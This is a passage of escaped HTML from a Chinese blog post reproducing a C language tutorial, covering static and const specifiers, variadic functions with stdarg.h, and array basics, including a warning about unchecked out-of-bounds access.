class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 2\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 3\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e counter(); \u003cspan class=\"comment\"\u003e// 4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003ecounter()\u003c/code\u003e的内部变量\u003ccode\u003ecount\u003c/code\u003e,使用\u003ccode\u003estatic\u003c/code\u003e说明符修饰,表明这个变量只初始化一次,以后每次调用时都会使用上一次的值,造成递增的效果。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003estatic\u003c/code\u003e修饰的变量初始化时,只能赋值为常量,不能赋值为变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e j = i; \u003cspan class=\"comment\"\u003e// 错误\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ej\u003c/code\u003e属于静态变量,初始化时不能赋值为另一个变量\u003ccode\u003ei\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e另外,在块作用域中,\u003ccode\u003estatic\u003c/code\u003e声明的变量有默认值\u003ccode\u003e0\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e可以用来修饰函数本身。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eTwice\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e result = num * \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e(result);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estatic\u003c/code\u003e关键字表示该函数只能在当前文件里使用,如果没有这个关键字,其他文件也可以使用这个函数(通过声明函数原型)。\u003c/p\u003e\u003cp\u003e\u003ccode\u003estatic\u003c/code\u003e也可以用在参数里面,修饰参数数组。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esum_array\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"number\"\u003e3\u003c/span\u003e], \u003cspan class=\"type\"\u003eint\u003c/span\u003e n)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estatic\u003c/code\u003e对程序行为不会有任何影响,只是用来告诉编译器,该数组长度至少为3,某些情况下可以加快程序运行速度。另外,需要注意的是,对于多维数组的参数,\u003ccode\u003estatic\u003c/code\u003e仅可用于第一维的说明。\u003c/p\u003e\u003ch4 id=\"const-说明符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#const-%E8%AF%B4%E6%98%8E%E7%AC%A6\" class=\"headerlink\" title=\"const 说明符\"\u003e\u003c/a\u003econst 说明符\u003c/h4\u003e\u003cp\u003e函数参数里面的\u003ccode\u003econst\u003c/code\u003e说明符,表示函数内部不得修改该参数变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数\u003ccode\u003ef()\u003c/code\u003e的参数是一个指针\u003ccode\u003ep\u003c/code\u003e,函数内部可能会改掉它所指向的值\u003ccode\u003e*p\u003c/code\u003e,从而影响到函数外部。\u003c/p\u003e\u003cp\u003e为了避免这种情况,可以在声明函数时,在指针参数前面加上\u003ccode\u003econst\u003c/code\u003e说明符,告诉编译器,函数内部不能修改该参数所指向的值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *p = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 该行报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,声明函数时,\u003ccode\u003econst\u003c/code\u003e指定不能修改指针\u003ccode\u003ep\u003c/code\u003e指向的值,所以\u003ccode\u003e*p = 0\u003c/code\u003e就会报错。\u003c/p\u003e\u003cp\u003e但是上面这种写法,只限制修改\u003ccode\u003ep\u003c/code\u003e所指向的值,而\u003ccode\u003ep\u003c/code\u003e本身的地址是可以修改的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p = \u0026amp;x; \u003cspan class=\"comment\"\u003e// 允许修改\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003ep\u003c/code\u003e本身是可以修改,\u003ccode\u003econst\u003c/code\u003e只限定\u003ccode\u003e*p\u003c/code\u003e不能修改。\u003c/p\u003e\u003cp\u003e如果想限制修改\u003ccode\u003ep\u003c/code\u003e,可以把\u003ccode\u003econst\u003c/code\u003e放在\u003ccode\u003ep\u003c/code\u003e前面。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e x = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e p = \u0026amp;x; \u003cspan class=\"comment\"\u003e// 该行报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果想同时限制修改\u003ccode\u003ep\u003c/code\u003e和\u003ccode\u003e*p\u003c/code\u003e,需要使用两个\u003ccode\u003econst\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003ef\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"type\"\u003econst\u003c/span\u003e p)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"可变参数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%8F%AF%E5%8F%98%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"可变参数\"\u003e\u003c/a\u003e可变参数\u003c/h3\u003e\u003cp\u003e有些函数的参数数量是不确定的,声明函数的时候,可以使用省略号\u003ccode\u003e...\u003c/code\u003e表示可变数量的参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eprintf\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* format, ...)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是\u003ccode\u003eprintf()\u003c/code\u003e函数的原型,除了第一个参数,其他参数的数量是可变的,与格式字符串里面的占位符数量有关。这时,就可以用\u003ccode\u003e...\u003c/code\u003e表示可变数量的参数。\u003c/p\u003e\u003cp\u003e注意,\u003ccode\u003e...\u003c/code\u003e符号必须放在参数序列的结尾,否则会报错。\u003c/p\u003e\u003cp\u003e头文件\u003ccode\u003estdarg.h\u003c/code\u003e定义了一些宏,可以操作可变参数。\u003c/p\u003e\u003cp\u003e(1)\u003ccode\u003eva_list\u003c/code\u003e:一个数据类型,用来定义一个可变参数对象。它必须在操作可变参数时,首先使用。\u003c/p\u003e\u003cp\u003e(2)\u003ccode\u003eva_start\u003c/code\u003e:一个函数,用来初始化可变参数对象。它接受两个参数,第一个参数是可变参数对象,第二个参数是原始函数里面,可变参数之前的那个参数,用来为可变参数定位。\u003c/p\u003e\u003cp\u003e(3)\u003ccode\u003eva_arg\u003c/code\u003e:一个函数,用来取出当前那个可变参数,每次调用后,内部指针就会指向下一个可变参数。它接受两个参数,第一个是可变参数对象,第二个是当前可变参数的类型。\u003c/p\u003e\u003cp\u003e(4)\u003ccode\u003eva_end\u003c/code\u003e:一个函数,用来清理可变参数对象。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003eaverage\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i, ...)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e total = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_list ap;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_start(ap, i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e j = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; j \u0026lt;= i; ++j) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e total += va_arg(ap, \u003cspan class=\"type\"\u003edouble\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e va_end(ap);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e total / i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eva_list ap\u003c/code\u003e定义\u003ccode\u003eap\u003c/code\u003e为可变参数对象,\u003ccode\u003eva_start(ap, i)\u003c/code\u003e将参数\u003ccode\u003ei\u003c/code\u003e后面的参数统一放入\u003ccode\u003eap\u003c/code\u003e,\u003ccode\u003eva_arg(ap, double)\u003c/code\u003e用来从\u003ccode\u003eap\u003c/code\u003e依次取出一个参数,并且指定该参数为 double 类型,\u003ccode\u003eva_end(ap)\u003c/code\u003e用来清理可变参数对象。\u003c/p\u003e\u003ch2 id=\"数组\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E6%95%B0%E7%BB%84\" class=\"headerlink\" title=\"数组\"\u003e\u003c/a\u003e数组\u003c/h2\u003e\u003ch3 id=\"简介-3\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-3\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e数组是一组相同类型的值,按照顺序储存在一起。数组通过变量名后加方括号表示,方括号里面是数组的成员数量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e scores[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例声明了一个数组\u003ccode\u003escores\u003c/code\u003e,里面包含100个成员,每个成员都是\u003ccode\u003eint\u003c/code\u003e类型。\u003c/p\u003e\u003cp\u003e注意,声明数组时,必须给出数组的大小。\u003c/p\u003e\u003cp\u003e数组的成员从\u003ccode\u003e0\u003c/code\u003e开始编号,所以数组\u003ccode\u003escores[100]\u003c/code\u003e就是从第0号成员一直到第99号成员,最后一个成员的编号会比数组长度小\u003ccode\u003e1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e数组名后面使用方括号指定编号,就可以引用该成员。也可以通过该方式,对该位置进行赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003escores[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] = \u003cspan class=\"number\"\u003e13\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003escores[\u003cspan class=\"number\"\u003e99\u003c/span\u003e] = \u003cspan class=\"number\"\u003e42\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例对数组\u003ccode\u003escores\u003c/code\u003e的第一个位置和最后一个位置,进行了赋值。\u003c/p\u003e\u003cp\u003e注意,如果引用不存在的数组成员(即越界访问数组),并不会报错,所以必须非常小心。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e scores[\u003cspan class=\"number\"\u003e100\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003escores[\u003cspan class=\"number\"\u003e100\u003c/span\u003e] = \u003cspan class=\"number\"\u003e51\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,数组\u003ccode\u003escores\u003c/code\u003e只有100个成员,因此\u003ccode\u003escores[100]\u003c/code\u003e这个位置是不存在的。但是,引用这个位置并不会报错,会正常运行,使得紧跟在\u003ccode\u003escores\u003c/code\u003e后面的那块内存区域被赋值,而那实际上是其他变量的区域,因此不知不觉就更改了其他变量的值。这很容易引发错误,而且难以发现。\u003c/p\u003e\u003cp\u003e数组也可以在声明时,使用大括号,同时对每一个成员赋值。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e95\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,使用大括号赋值时,必须在数组声明时赋值,否则编译时会报错。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e5\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ea = {\u003cspan class=\"number\"\u003e22\u003c/span\u003e, \u003cspan class=\"number\"\u003e37\u003c/span\u003e, \u003cspan class=\"number\"\u003e3490\u003c/span\u003e, \u003cspan 